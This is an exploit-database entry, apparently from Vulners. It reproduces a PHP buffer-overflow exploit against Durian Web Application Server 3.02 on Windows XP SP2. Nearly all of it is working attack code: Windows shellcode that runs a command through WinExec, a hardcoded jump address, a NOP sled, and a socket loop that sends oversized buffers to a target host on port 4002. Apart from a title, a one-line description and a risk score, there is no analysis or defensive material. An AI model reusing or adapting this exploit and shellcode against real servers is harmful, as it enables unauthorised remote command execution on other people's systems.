Durian Web Application Server 3.02 freeware for Win32 buffer overflow execute command exploit

🗓️ 01 Jan 2007 00:00:00Reported by RootType
Buffer overflow exploit against Durian Web Application Server 3.02 on Win32 using PHP script to execute a command, tested on XP SP2

                                                &lt;?php
/*
Durian&nbsp;Web&nbsp;Application&nbsp;Server&nbsp;3.02&nbsp;freeware&nbsp;for&nbsp;Win32&nbsp;buffer
overflow&nbsp;execute&nbsp;command&nbsp;exploit

by&nbsp;rgod
mail:&nbsp;retrog&nbsp;at&nbsp;alice&nbsp;dot&nbsp;it
site:&nbsp;http://retrogod.altervista.org

tested&nbsp;against&nbsp;xp&nbsp;sp2&nbsp;ita

software&nbsp;site&nbsp;-&gt;&nbsp;http://sourceforge.net/projects/durian/

*/

error_reporting(E_ALL);
$address&nbsp;=&nbsp;&quot;192.168.1.3&quot;;
$service_port&nbsp;=&nbsp;&quot;4002&quot;;

$shellcode&nbsp;=
&quot;\xeb\x1b&quot;.
&quot;\x5b&quot;.
&quot;\x31\xc0&quot;.
&quot;\x50&quot;.
&quot;\x31\xc0&quot;.
&quot;\x88\x43\x59&quot;.
&quot;\x53&quot;.
&quot;\xbb\x6d\x13\x86\x7c&quot;.&nbsp;//WinExec,&nbsp;0x7c86136d
&quot;\xff\xd3&quot;.
&quot;\x31\xc0&quot;.
&quot;\x50&quot;.
&quot;\xbb\xda\xcd\x81\x7c&quot;.&nbsp;//ExitProcess,&nbsp;0x7c81cdda
&quot;\xff\xd3&quot;.
&quot;\xe8\xe0\xff\xff\xff&quot;.
&quot;\x63\x6d\x64&quot;.
&quot;\x2e&quot;.
&quot;\x65&quot;.
&quot;\x78\x65&quot;.
&quot;\x20\x2f&quot;.
&quot;\x63\x20&quot;.
&quot;cmd.exe&nbsp;/c&nbsp;start&nbsp;notepad&nbsp;&amp;&nbsp;&quot;;

//$eip=&quot;\x72\xe0\xf1\x00&quot;;//DEP&nbsp;disabled
$eip=&quot;\x72\xe0\xf2\x00&quot;;

$ch&nbsp;&nbsp;=array(&quot;\xaa&quot;,&quot;\xa0&quot;,&quot;\x41&quot;);
$size=array(30,70,150,330,520,700,1400,2300);

&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;($j=0;&nbsp;$j&lt;count($ch);&nbsp;$j++){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;($i=0;&nbsp;$i&lt;count($size);&nbsp;$i++){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$junk=&quot;&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(($j==2)&nbsp;and&nbsp;($i==7)){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$junk&nbsp;=&quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVXXXX&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$junk.=&quot;YYYYZZZZaaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuu&quot;;
		$junk.=$eip;&nbsp;//jmp&nbsp;shellcode
		for&nbsp;($n=1;&nbsp;$n&lt;=100;&nbsp;$n++){
		&nbsp;&nbsp;&nbsp;&nbsp;$junk.=&quot;\x90&quot;;
		}
		$junk.=$shellcode;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;($n=1;&nbsp;$n=(2300-strlen($junk));&nbsp;$n++){
		&nbsp;&nbsp;&nbsp;&nbsp;$junk.=&quot;\x90&quot;;
		}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;{
		for&nbsp;($k=1;&nbsp;$k&lt;=$size[$i];&nbsp;$k++){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$junk.=$ch[$j];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
	&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$socket&nbsp;=&nbsp;socket_create(AF_INET,&nbsp;SOCK_STREAM,&nbsp;SOL_TCP);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($socket&nbsp;&lt;&nbsp;0)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(&quot;socket_create()&nbsp;failed:\n&nbsp;reason:&nbsp;&quot;&nbsp;.&nbsp;socket_strerror($socket)&nbsp;.&nbsp;&quot;\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$result&nbsp;=&nbsp;socket_connect($socket,&nbsp;$address,&nbsp;$service_port);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($result&nbsp;&lt;&nbsp;0)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(&quot;socket_connect()&nbsp;failed:\n&nbsp;reason:&nbsp;($result)&nbsp;&quot;&nbsp;.&nbsp;socket_strerror($result)&nbsp;.&nbsp;&quot;\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$in&nbsp;=&nbsp;$junk;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;socket_write($socket,&nbsp;$in,&nbsp;strlen&nbsp;($in));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;socket_close($socket);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;}
?&gt;
01 Jan 2007 00:00Current
7.1High risk
Vulners AI Score7.1